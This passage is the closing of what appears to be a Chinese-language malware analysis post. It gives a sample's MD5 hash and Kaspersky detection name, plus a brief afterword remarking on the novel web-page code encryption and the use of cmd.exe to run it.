MD5 : f066f58f878be37bcc53a096d61d05e8
---/


kaspersky 报为 Worm.Win32.Viking.if


后记:
这种网页代码加密技术还是第一次遇到,解密这段代码费了一会功夫。
调用cmd.exe来运行,也很新颖。